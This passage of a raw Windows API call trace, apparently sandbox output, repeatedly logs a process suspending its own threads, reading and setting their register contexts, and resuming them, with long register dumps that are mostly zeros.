[73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0083.279] ResumeThread (hThread=0x118) returned 0x1
[0083.279] CloseHandle (hObject=0x118) returned 1
[0083.279] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.416] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.449] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.526] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.602] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0083.602] SuspendThread (hThread=0x118) returned 0x0
[0083.602] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000111590, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12e7e60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0083.677] ResumeThread (hThread=0x118) returned 0x1
[0083.677] CloseHandle (hObject=0x118) returned 1
[0083.698] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.733] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.768] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.843] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0083.921] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x118) returned 1
[0083.921] SuspendThread (hThread=0x118) returned 0x0
[0083.921] GetThreadContext (in: hThread=0x118, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000111728, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1385ec0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0083.990] SetThreadContext (hThread=0x118, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000111720, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0084.058] ResumeThread (hThread=0x118) returned 0x1
[0084.058] CloseHandle (hObject=0x118) returned 1
[0084.059] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0084.218] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0084.252] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0084.336] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0084.531] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0084.531] SuspendThread (hThread=0x130) returned 0x0
[0084.531] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147858, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x138f6e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0084.644] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147850, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, 